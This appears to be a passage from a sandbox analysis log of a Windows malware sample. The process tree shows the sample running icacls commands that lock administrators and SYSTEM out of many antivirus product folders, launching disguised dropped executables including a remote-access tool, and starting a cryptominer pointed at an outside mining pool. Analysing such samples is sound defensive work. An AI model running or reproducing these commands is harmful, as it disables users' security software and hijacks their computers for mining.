                                                        C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                        2⤵
                                                          PID:5100
                                                          • C:\Windows\SysWOW64\icacls.exe
                                                            icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                            3⤵
                                                            • Modifies file permissions
                                                            PID:5652
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                          2⤵
                                                            PID:1528
                                                            • C:\Windows\SysWOW64\icacls.exe
                                                              icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                              3⤵
                                                              • Modifies file permissions
                                                              PID:5696
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:956
                                                            • C:\Windows\SysWOW64\icacls.exe
                                                              icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                              3⤵
                                                              • Modifies file permissions
                                                              PID:5792
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                            2⤵
                                                              PID:1664
                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                3⤵
                                                                • Modifies file permissions
                                                                PID:5860
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                              2⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2480
                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                3⤵
                                                                • Modifies file permissions
                                                                PID:5812
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                              2⤵
                                                                PID:5108
                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                  icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  PID:5820
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                2⤵
                                                                  PID:3000
                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                    icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:5876
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                  2⤵
                                                                    PID:4824
                                                                    • C:\Windows\System32\Conhost.exe
                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      3⤵
                                                                        PID:2420
                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                        icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5840
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                      2⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:5128
                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                        icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        PID:5832
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                      2⤵
                                                                        PID:5232
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:6052
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5284
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls C:\Programdata\MB3Install /deny System:(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:6028
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5348
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:6120
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5356
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:6044
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5520
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          PID:6108
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                        2⤵
                                                                          PID:5892
                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                            icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:1976
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                          2⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:6140
                                                                          • C:\Windows\System32\Conhost.exe
                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                            3⤵
                                                                              PID:1036
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:5660
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                            2⤵
                                                                              PID:1368
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:5664
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5652
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:5556
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                              2⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:5620
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:5888
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                              2⤵
                                                                                PID:2032
                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                  icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  PID:4224
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                2⤵
                                                                                  PID:3720
                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                    icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                    3⤵
                                                                                    • Modifies file permissions
                                                                                    PID:4252
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                  2⤵
                                                                                    PID:1448
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      PID:6052
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                    2⤵
                                                                                      PID:5424
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:4828
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                      2⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:4208
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:636
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                      2⤵
                                                                                        PID:5360
                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                          icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          PID:5376
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                        2⤵
                                                                                          PID:5720
                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                            icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            PID:5312
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                          2⤵
                                                                                            PID:5412
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:5260
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                            2⤵
                                                                                              PID:5268
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:5932
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                              2⤵
                                                                                                PID:6024
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:4792
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:1716
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:2424
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                  PID:5724
                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                    icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                    3⤵
                                                                                                    • Modifies file permissions
                                                                                                    PID:5756
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                  2⤵
                                                                                                    PID:5324
                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                      icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:5880
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                      PID:5956
                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                        • Modifies file permissions
                                                                                                        PID:5888
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                      2⤵
                                                                                                        PID:4644
                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                          icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:5844
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3756
                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                          icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:6068
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:5444
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:6100
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                          2⤵
                                                                                                            PID:6044
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:6132
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                              PID:900
                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                • Modifies file permissions
                                                                                                                PID:5644
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                              2⤵
                                                                                                                PID:5236
                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                  icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                  3⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  PID:5564
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                  PID:5560
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:5952
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5968
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:5728
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5648
                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                    icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:5452
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                    PID:3888
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:1608
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                      PID:4328
                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                        icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:5812
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:3912
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        3⤵
                                                                                                                          PID:4252
                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                          icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:6112
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                          PID:6076
                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                            icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            PID:1320
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                            PID:4748
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              3⤵
                                                                                                                                PID:6028
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:1952
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:1884
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:5240
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:5404
                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                3⤵
                                                                                                                                  PID:5580
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5288
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                  PID:5292
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:5344
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:5280
                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                      3⤵
                                                                                                                                        PID:5380
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:768
                                                                                                                                  • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                    C:\ProgramData\Windows\rutserv.exe
                                                                                                                                    1⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:700
                                                                                                                                    • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                      C:\ProgramData\Windows\rutserv.exe -second
                                                                                                                                      2⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                      PID:1484
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 700 -s 720
                                                                                                                                      2⤵
                                                                                                                                      • Program crash
                                                                                                                                      PID:4112
                                                                                                                                  • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                    C:\ProgramData\Windows\rutserv.exe
                                                                                                                                    1⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:3404
                                                                                                                                  • C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                    C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                    1⤵
                                                                                                                                    • Modifies visibility of hidden/system files in Explorer
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:796
                                                                                                                                    • C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                      C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                      2⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                      PID:3856
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                                                                                                        3⤵
                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                        PID:4780
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /query /fo list
                                                                                                                                          4⤵
                                                                                                                                            PID:4676
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                                                                                                        2⤵
                                                                                                                                          PID:5928
                                                                                                                                          • C:\Windows\system32\ipconfig.exe
                                                                                                                                            ipconfig /flushdns
                                                                                                                                            3⤵
                                                                                                                                            • Gathers network information
                                                                                                                                            PID:2092
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c gpupdate /force
                                                                                                                                          2⤵
                                                                                                                                            PID:5016
                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                              gpupdate /force
                                                                                                                                              3⤵
                                                                                                                                                PID:1808
                                                                                                                                            • C:\ProgramData\WindowsTask\MicrosoftHost.exe
                                                                                                                                              C:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://loders.xyz:3333 -u RandomX_CPU --donate-level=1 -k -t4
                                                                                                                                              2⤵
                                                                                                                                                PID:6056
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              1⤵
                                                                                                                                                PID:4152
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 700 -ip 700
                                                                                                                                                1⤵
                                                                                                                                                  PID:2780
                                                                                                                                                • C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                                  C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                                  1⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:5868
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                                                                                                                    2⤵
                                                                                                                                                      PID:372
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /query /fo list
